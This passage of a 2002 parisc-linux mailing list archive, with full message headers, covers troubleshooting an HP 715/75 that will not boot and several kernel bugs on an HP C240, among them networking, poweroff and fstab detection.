then installed debian.  After I had the base installed I moved the machine
and in a not so brilliant move added an external cdrom and changed keyboards
and mouse.  The system sat there and acted like it was having a very difficult
time coming to terms with the changes.  To fix it, swapped out the HIL mouse
that I had switch to with a ps2 three button mouse and took the external
cdrom off the scsi chain.  I let it sit for about 20 minute to a half hour
then it decided to boot.  I also found that I could not use the on board
video after I had used the addon card.  I even disconnect the addon card,
but it made no difference.

HTH
jc

On Tue, Apr 09, 2002 at 11:22:07PM -0700, Matt McKenzie wrote:
> I posted a while earlier, but no response has been forthcoming.
> 
> Does anyone have any idea what I can do so solve my problem with an HP
> 715/75, that displays the LEDs 1,2,6 on the front panel at power-up? 
> I have an HP monitor with it, and it stays blank.
> 
> The manual, if I'm reading it correctly, says the LEDs mean:
> 
> Internal inconsistency: IODC Entry_Init
> 
> But there is no mention of what this means exactly, or what to do about
> it.  
> 
> What can I do to resolve this, if possible?
> 
> I would very much like to put Linux on this machine.
> 
> It seems to me hardware questions aren't off-topic... does this just
> mean no one knows how to fix this?  Or is it because I have no
> transcript or logs to post (because the monitor is blank I can't see
> anything)?
> 
> Would it be possible to get a serial console working to see anything?
> I am guessing a standard RS232 Null-modem cable would work?
> 
> Also, I have the AUI-10bT ethernet transceiver, but I don't know if it
> has a valid static IP, or if it is trying DHCP lookup.
> 
> Any help would be appreciated.
> 
> Thanks.
> 
> 
> -- 
> 73 de K6LNX
> 
> Matt M.
> LinuxKnight
> 
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux

-- 
Jonathan Crockett
Network Engineer
Midcontinent Communications



From - Thu Nov 08 21:22:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "M. Grabert" <xam@cs.ucc.ie>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] some bugs
Date: Wed, 10 Apr 2002 15:35:06 +0100 (IST)
Lines: 115
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.44.0204101509020.1717-100000@sal.ucc.ie>
References: <200204100130.14037.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621227 6165 80.91.229.3 (22 Nov 2014 01:53:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:53:47 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Helge Deller <deller@gmx.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Apr 10 08:35:14 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from interzone.ucc.ie (interzone.ucc.ie [143.239.1.134])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0A2A9482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 10 Apr 2002 08:35:13 -0600 (MDT)
Original-Received: from sal.ucc.ie (sal.ucc.ie [143.239.201.201])
	by interzone.ucc.ie (8.9.3/8.9.3) with ESMTP id PAA14510;
	Wed, 10 Apr 2002 15:36:29 +0100 (BST)
X-X-Sender: xam@sal.ucc.ie
In-Reply-To: <200204100130.14037.deller@gmx.de>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14559

On Wed, 10 Apr 2002, Helge Deller wrote:

> > - leds don't seem to work (i.e. no heartbeat or other leds on or blinking -
> > or is my hp really so idle ?)
> >   This is just with the latest 2.4.18-pa14 kernels (2.4.18-pa5-32bit
> > worked, but IIRC not perfectly)
>
> Could you post me some of your bootlogs ?

of course. but I have no access to the c240 until tomorrow.
I have access to /proc/pdc/leds, echo "0 0 0" and echo "1 1 1"
will change the /proc/pdc/leds entry, but not leds with flash.

> > - 100Mbit is not supported properly (full-duplex support is always
> >   recognized, but 100Mbit just occationally).
> >   Of course it's a full 10/100Mbit SWITCH (no hub), and I checked the
> > cables Moreover I just have 100Mbit network devices plugged into the
> > switch.
>
> I never had problems with tulip and 100MBit here (on c3k).

10Mbit works perfectly. 100Mbit works once it is detected, which is
often, but not always. Lately it seems to be working most of the times
on 100Mbit, perhaps due latest improvements in the kernel ?

But perhaps it's only a h/w issue (incompatibility with switch and
network card?). Once the workstation is switched on, it seems
the kernel won't change the connection mode (e.g. changing from
10Mbit to 100Mbit) that was initially negotiated by the network card.
Thus is presume that sometimes the h/w 100Mbit negotiation works,
sometimes not, since the 10Mbit mode is entered BEFORE starting the
linux kernel (which don't change it to 100Mbit).

> > - the 'poweroff' command doesn't work, it just shutdowns the machine, but
> > does no real poweroff. (AFAIK 'poweroff' is a synonym for 'shutdown -p
> > now', isn't it ? this doesn't work either).
> >   The powerkey works as expected (including powering off the workstation)
> >   with 32bit kernels.

[...]      // cutting out interesting stuff

> So currently I don't see any solution here. You will _always_ have to press the power
> button at least once: Directly while the kernel runs, or after you have started "shutdown -n".
> Of course I may be wrong, in which case I would appreciate if someone from HP
> would correct me here.

Ah, I see! It's a little bit strange though

> > - if fs type "auto" is set for a ext3 partition, the kernel detects the /,
> > but the mount command (in the bootscript) fails to detect the fstype.
> > Setting the fstype entry in /etc/fstab to "ext3" or "ext2" fixes the
> > problem. Since 'mount -a' fails to detect the fs type, it won't remount /
> > in read-write mode, and thus the system won't boot correctly.
> >
> >   But "auto" in /etc/fstab works with the corresponding 32bit kernel
>
> This should be reported to the debian folks.

Well, yes, maybe, because it's 'mount' specific. But why is it working
with the 32bit kernel? I thought this kind of things should be
platform-independent ...

> > - crashme is effective (example settings, after a few minutes kernel
> > crashed, even MagicSysRq didn't work. It didn't seem to 'work' on
> > 2.4.18-pa5-32bit, I didn't try with the 2.4.18-pa14-32bit kernel)
> >
> > - once I got a kernel oops at interrupt_stack() at boot up (attached to
> > mail), but eveything seemed to work. I didn't get any more kernel oops.
>
> We don't have chance to trace this bug without having your System.map.

That's true ;)
I just looked into the kernel oops and System.map and the only address
that matched the address range of a function in System.map was
interrupt_stack (exactly 00000000106100000). Since there was just one,
not reproducable kernel oops, and since I don't know what caused it,
it doesn't make sense to investigate it further. There are no other
kernel oops in /var/log/messages.
I just thought perhaps there would be a known issue with interrupt_
stack on 64bit or so ...

> > - shutdown&poweroff when hitting powerkey does not work (it just switches
> > off the workstation immediately; it works properly on the corresponding
> > 32bit kernel and 2.4.18-pa5-32bit)
>
> Ryan committed some related changes here in 2.4.18-pa16.
> Could you retry with this kernel and check the results with CONFIG_PDC_NARROW
> enabled and disabled ?

okay, but it will take some time tough ;)

> > - if I compile in support for STIcon/STIfb, it doesn't switch the output
> >   to the console (after the 'branching to kernel entry point' message).
> >   At least I waited for quite some time, and I didn't seem to go on.
> >   I didn't compile in support for STIcon/STIfb for the 32bit kernel,
> >   therefore I can't tell whether there is the same problem or not.
> >   STIcon/STIfb works with 2.4.18-pa5-32bit. Well, my FX/2 card isn't
> > supported for fb, but at least the kernel doesn't hang with that kernel.
>
> Are you using the latest palo ? Do you maybe have "console=ttyS00" as
> kernel boot parameter (check /proc/cmdline).

no, there is no console entry in palo.conf. Palo is the one from
ISO 0.9.3, and it might be updated by apt-get (I'm using unstable).

BTW, one question:

I always wondered if sid (unstable) is the preferred dist for
debian/hppa (very likely a debian-mailing-list question, but what
do you kernel hackers and developers use and prefer?)

thanks, greetings max




From - Thu Nov 08 21:22:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] some bugs
Date: Wed, 10 Apr 2002 11:37:08 -0400 (EDT)
Lines: 35
Approved: news@gmane.org
Message-ID: <200204101537.g3AFb96a026728@hiauly1.hia.nrc.ca>
References: <Pine.LNX.4.44.0204101509020.1717-100000@sal.ucc.ie>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621227 6168 80.91.229.3 (22 Nov 2014 01:53:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:53:47 +0000 (UTC)
Cc: deller@gmx.de, parisc-linux@lists.parisc-linux.org
To: xam@cs.ucc.ie (M. Grabert)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Apr 10 09:37:15 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7EA68482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 10 Apr 2002 09:37:13 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id g3AFbAFN026730;
	Wed, 10 Apr 2002 11:37:10 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id g3AFb96a026728;
	Wed, 10 Apr 2002 11:37:09 -0400 (EDT)
In-Reply-To: <Pine.LNX.4.44.0204101509020.1717-100000@sal.ucc.ie> from "M. Grabert" at Apr 10, 2002 03:35:06 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14560

> > > - 100Mbit is not supported properly (full-duplex support is always
> > >   recognized, but 100Mbit just occationally).
> > >   Of course it's a full 10/100Mbit SWITCH (no hub), and I checked the
> > > cables Moreover I just have 100Mbit network devices plugged into the
> > > switch.
> >
> > I never had problems with tulip and 100MBit here (on c3k).
> 
> 10Mbit works perfectly. 100Mbit works once it is detected, which is
> often, but not always. Lately it seems to be working most of the times
> on 100Mbit, perhaps due latest improvements in the kernel ?
> 
> But perhaps it's only a h/w issue (incompatibility with switch and
> network card?). Once the workstation is switched on, it seems
> the kernel won't change the connection mode (e.g. changing from
> 10Mbit to 100Mbit) that was initially negotiated by the network card.
> Thus is presume that sometimes the h/w 100Mbit negotiation works,
> sometimes not, since the 10Mbit mode is entered BEFORE starting the
> linux kernel (which don't change it to 100Mbit).

I've a similar problem with a C200 under hpux.  The card doesn't always
autonegotiate 100Mbit full-duplex in the PDC at boot.  I then force the
card to 100Mbit full-duplex in the hpux driver initialization.  However,
even this sometimes fails.  Then, if something happens to the switch
configuration, I have never seen the card renegotiate the link settings
successfully.  I have a feeling that it might be better to set the PDC
default to 100Mbit half-duplex, and also set the switch and boot
parameters to the same (ie., don't use full-duplex or autonegotiation).

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)



From - Thu Nov 08 21:22:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] some bugs
Date: Wed, 10 Apr 2002 09:58:40 -0600
Lines: 48
Approved: news@gmane.org
Message-ID: <20020410155841.19DE2482A@dsl2.external.hp.com>
References: <Pine.LNX.4.44.0204101509020.1717-100000@sal.ucc.ie>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621227 6169 80.91.229.3 (22 Nov 2014 01:53:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:53:47 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "M. Grabert" <xam@cs.ucc.ie>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Apr 10 09:58:41 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 19DE2482A; Wed, 10 Apr 2002 09:58:41 -0600 (MDT)
In-Reply-To: Message from "M. Grabert" <xam@cs.ucc.ie> 
   of "Wed, 10 Apr 2002 15:35:06 BST." <Pine.LNX.4.44.0204101509020.1717-100000@sal.ucc.ie> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14561

"M. Grabert" wrote:
> But perhaps it's only a h/w issue (incompatibility with switch and
> network card?).

Possibly. Perhaps just unplugging the cable, wait 5 seconds (or so)
and plug it back in should force a re-negotiation. Not a great work
around but perhaps a start.

...
> Well, yes, maybe, because it's 'mount' specific. But why is it working
> with the 32bit kernel? I thought this kind of things should be
> platform-independent ...

I agree - I doubt this is a mount command problem.
It might be an issue with our 32-bit syscall wrappers in the 64-bit kernels.

> - crashme is effective (example settings, after a few minutes kernel
> crashed, even MagicSysRq didn't work. It didn't seem to 'work' on
> 2.4.18-pa5-32bit, I didn't try with the 2.4.18-pa14-32bit kernel)

crashme support requires someone with good CPU knowledge to chase
down the holes in the kernel trap handler. It's just not a priority
for anyone I know unfortunately. I'd rather see said person work
on improving fork/exec performance and other lmbench results
where parisc-linux lags horribly. However, if someone wants to
learn more about the space where PARISC implementations diverge
from the architecture, making crashme "run" is a challenging
place to start.

> BTW, one question:
> 
> I always wondered if sid (unstable) is the preferred dist for
> debian/hppa (very likely a debian-mailing-list question, but what
> do you kernel hackers and developers use and prefer?)

I use both depending on the role of the machine.
At home, I'm running sid so I can play frozen-bubble (just kidding,
it's not ported to hppa yet). At work, machines I've setup are
running woody since I want to "test" how well the release is doing
that we will be recommending to non-developers.

Occasionally, sid has "hickups", nothing I haven't been able
to recovery from though it entirely possible trash the machine
(eg bad libc deb). Save those older .debs in /var/cache/apt/archives.

grant



From - Thu Nov 08 21:22:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt McKenzie <linuxknight@attbi.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 715/75
Date: 10 Apr 2002 09:48:30 -0700
Lines: 103
Approved: news@gmane.org
Message-ID: <1018457310.3772.8.camel@mustang>
References: <1018419728.2603.13.camel@mustang> 
	<20020410082456.A20344@volta.midco.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621228 6170 80.91.229.3 (22 Nov 2014 01:53:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:53:48 +0000 (UTC)
Cc: PARISC-Linux <parisc-linux@lists.parisc-linux.org>
To: Jonathan Crockett <jcrockett@midco.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Apr 10 10:48:33 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rwcrmhc52.attbi.com (rwcrmhc52.attbi.com [216.148.227.88])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1B60B482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 10 Apr 2002 10:48:32 -0600 (MDT)
Original-Received: from mustang ([24.126.132.94]) by rwcrmhc52.attbi.com
          (InterMail vM.4.01.03.27 201-229-121-127-20010626) with ESMTP
          id <20020410164830.VOPO1901.rwcrmhc52.attbi.com@mustang>;
          Wed, 10 Apr 2002 16:48:30 +0000
In-Reply-To: <20020410082456.A20344@volta.midco.net>
X-Mailer: Evolution/1.0.2 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14562

Hmmm.  I have a HIL mouse and kb with it.  This model doesn't have ps/2
ports so I can't change the kb.  I can put a serial mouse on it.
But I have no idea what it had attached to it before.  I am assuming it
was HIL kb and mouse but I can't be sure.

We got a batch of HP workstations donated to the school from a local
company.  Many are in use in a lab, being used as X terminals logged
into Sun servers.  But the actual classroom lab now has mostly all Suns
so the HPs aren't used much.  

I am also not sure of the state of the hard drives.  There are (2) 9g
scsi IIRC.  I don't know if HP-UX is even still on there or anything. 
But you would think it would at least come up with a prompt of some sort
even if HP-UX was wiped.

This machine doesn't have any add-on cards, no floppy or internal CD or
anything.  I do have an external 2x scsi cd I can use with it but I
haven't hooked it up yet.

With your problem did the screen stay blank?

I will try with the serial mouse.  Thanks for the suggestion.


On Wed, 2002-04-10 at 06:24, Jonathan Crockett wrote:
> Hello,
>   I have a 715/100 that had very similiar symptoms.  I have HP-UX on it
> then installed debian.  After I had the base installed I moved the machine
> and in a not so brilliant move added an external cdrom and changed keyboards
> and mouse.  The system sat there and acted like it was having a very difficult
> time coming to terms with the changes.  To fix it, swapped out the HIL mouse
> that I had switch to with a ps2 three button mouse and took the external
> cdrom off the scsi chain.  I let it sit for about 20 minute to a half hour
> then it decided to boot.  I also found that I could not use the on board
> video after I had used the addon card.  I even disconnect the addon card,
> but it made no difference.
> 
> HTH
> jc
> 
> On Tue, Apr 09, 2002 at 11:22:07PM -0700, Matt McKenzie wrote:
> > I posted a while earlier, but no response has been forthcoming.
> > 
> > Does anyone have any idea what I can do so solve my problem with an HP
> > 715/75, that displays the LEDs 1,2,6 on the front panel at power-up? 
> > I have an HP monitor with it, and it stays blank.
> > 
> > The manual, if I'm reading it correctly, says the LEDs mean:
> > 
> > Internal inconsistency: IODC Entry_Init
> > 
> > But there is no mention of what this means exactly, or what to do about
> > it.  
> > 
> > What can I do to resolve this, if possible?
> > 
> > I would very much like to put Linux on this machine.
> > 
> > It seems to me hardware questions aren't off-topic... does this just
> > mean no one knows how to fix this?  Or is it because I have no
> > transcript or logs to post (because the monitor is blank I can't see
> > anything)?
> > 
> > Would it be possible to get a serial console working to see anything?
> > I am guessing a standard RS232 Null-modem cable would work?
> > 
> > Also, I have the AUI-10bT ethernet transceiver, but I don't know if it
> > has a valid static IP, or if it is trying DHCP lookup.
> > 
> > Any help would be appreciated.
> > 
> > Thanks.
> > 
> > 
> > -- 
> > 73 de K6LNX
> > 
> > Matt M.
> > LinuxKnight
> > 
> > 
> > _______________________________________________
> > parisc-linux mailing list
> > parisc-linux@lists.parisc-linux.org
> > http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 
> -- 
> Jonathan Crockett
> Network Engineer
> Midcontinent Communications
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
-- 
73 de K6LNX

Matt M.
LinuxKnight




From - Thu Nov 08 21:22:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jonathan Crockett <jcrockett@midco.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 715/75
Date: Wed, 10 Apr 2002 12:02:39 -0500
Lines: 126
Approved: news@gmane.org
Message-ID: <20020410120239.E20344@volta.midco.net>
References: <1018419728.2603.13.camel@mustang> <20020410082456.A20344@volta.midco.net> <1018457310.3772.8.camel@mustang>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621228 6173 80.91.229.3 (22 Nov 2014 01:53:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:53:48 +0000 (UTC)
Cc: Jonathan Crockett <jcrockett@midco.net>,
	PARISC-Linux <parisc-linux@lists.parisc-linux.org>
To: Matt McKenzie <linuxknight@attbi.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Apr 10 11:02:41 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from volta.midco.net (volta.midco.net [24.220.1.10])
	by dsl2.external.hp.com (Postfix) with SMTP id BE406482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 10 Apr 2002 11:02:40 -0600 (MDT)
Original-Received: (qmail 2922 invoked by uid 2872); 10 Apr 2002 17:02:39 -0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <1018457310.3772.8.camel@mustang>; from linuxknight@attbi.com on Wed, Apr 10, 2002 at 09:48:30AM -0700
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14563

My box came with a HIL to ps2 converter box thingy that has a PS2 keyboard
port, a PS2 mouse port and a HIL port on it.  When I changed things around
the machine had to think for a long time, before video came up.
I take it that you have seen this machine run an OS?  If not in it's previous
life it may have had a piece of hardware that is no longer there and it is
searching for it.  Also I have always had a odd thing with the number lock
light on PS2 keyboards and 715s.  If they are working correctly it doesn't
light up, but if there is a problem it is light and stays lit.

Hopefully this sheds some light for you.
jc

On Wed, Apr 10, 2002 at 09:48:30AM -0700, Matt McKenzie wrote:
> Hmmm.  I have a HIL mouse and kb with it.  This model doesn't have ps/2
> ports so I can't change the kb.  I can put a serial mouse on it.
> But I have no idea what it had attached to it before.  I am assuming it
> was HIL kb and mouse but I can't be sure.
> 
> We got a batch of HP workstations donated to the school from a local
> company.  Many are in use in a lab, being used as X terminals logged
> into Sun servers.  But the actual classroom lab now has mostly all Suns
> so the HPs aren't used much.  
> 
> I am also not sure of the state of the hard drives.  There are (2) 9g
> scsi IIRC.  I don't know if HP-UX is even still on there or anything. 
> But you would think it would at least come up with a prompt of some sort
> even if HP-UX was wiped.
> 
> This machine doesn't have any add-on cards, no floppy or internal CD or
> anything.  I do have an external 2x scsi cd I can use with it but I
> haven't hooked it up yet.
> 
> With your problem did the screen stay blank?
> 
> I will try with the serial mouse.  Thanks for the suggestion.
> 
> 
> On Wed, 2002-04-10 at 06:24, Jonathan Crockett wrote:
> > Hello,
> >   I have a 715/100 that had very similiar symptoms.  I have HP-UX on it
> > then installed debian.  After I had the base installed I moved the machine
> > and in a not so brilliant move added an external cdrom and changed keyboards
> > and mouse.  The system sat there and acted like it was having a very difficult
> > time coming to terms with the changes.  To fix it, swapped out the HIL mouse
> > that I had switch to with a ps2 three button mouse and took the external
> > cdrom off the scsi chain.  I let it sit for about 20 minute to a half hour
> > then it decided to boot.  I also found that I could not use the on board
> > video after I had used the addon card.  I even disconnect the addon card,
> > but it made no difference.
> > 
> > HTH
> > jc
> > 
> > On Tue, Apr 09, 2002 at 11:22:07PM -0700, Matt McKenzie wrote:
> > > I posted a while earlier, but no response has been forthcoming.
> > > 
> > > Does anyone have any idea what I can do so solve my problem with an HP
> > > 715/75, that displays the LEDs 1,2,6 on the front panel at power-up? 
> > > I have an HP monitor with it, and it stays blank.
> > > 
> > > The manual, if I'm reading it correctly, says the LEDs mean:
> > > 
> > > Internal inconsistency: IODC Entry_Init
> > > 
> > > But there is no mention of what this means exactly, or what to do about
> > > it.  
> > > 
> > > What can I do to resolve this, if possible?
> > > 
> > > I would very much like to put Linux on this machine.
> > > 
> > > It seems to me hardware questions aren't off-topic... does this just
> > > mean no one knows how to fix this?  Or is it because I have no
> > > transcript or logs to post (because the monitor is blank I can't see
> > > anything)?
> > > 
> > > Would it be possible to get a serial console working to see anything?
> > > I am guessing a standard RS232 Null-modem cable would work?
> > > 
> > > Also, I have the AUI-10bT ethernet transceiver, but I don't know if it
> > > has a valid static IP, or if it is trying DHCP lookup.
> > > 
> > > Any help would be appreciated.
> > > 
> > > Thanks.
> > > 
> > > 
> > > -- 
> > > 73 de K6LNX
> > > 
> > > Matt M.
> > > LinuxKnight
> > > 
> > > 
> > > _______________________________________________
> > > parisc-linux mailing list
> > > parisc-linux@lists.parisc-linux.org
> > > http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> > 
> > -- 
> > Jonathan Crockett
> > Network Engineer
> > Midcontinent Communications
> > 
> > _______________________________________________
> > parisc-linux mailing list
> > parisc-linux@lists.parisc-linux.org
> > http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> -- 
> 73 de K6LNX
> 
> Matt M.
> LinuxKnight
> 
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux

-- 
Jonathan Crockett
Network Engineer
Midcontinent Communications



From - Thu Nov 08 21:22:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt McKenzie <linuxknight@attbi.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 715/75
Date: 10 Apr 2002 10:16:30 -0700
Lines: 148
Approved: news@gmane.org
Message-ID: <1018459011.3804.12.camel@mustang>
References: <1018419728.2603.13.camel@mustang>
	<20020410082456.A20344@volta.midco.net> <1018457310.3772.8.camel@mustang> 
	<20020410120239.E20344@volta.midco.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621228 6175 80.91.229.3 (22 Nov 2014 01:53:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:53:48 +0000 (UTC)
Cc: PARISC-Linux <parisc-linux@lists.parisc-linux.org>
To: Jonathan Crockett <jcrockett@midco.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Apr 10 11:16:58 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rwcrmhc53.attbi.com (rwcrmhc53.attbi.com [204.127.198.39])
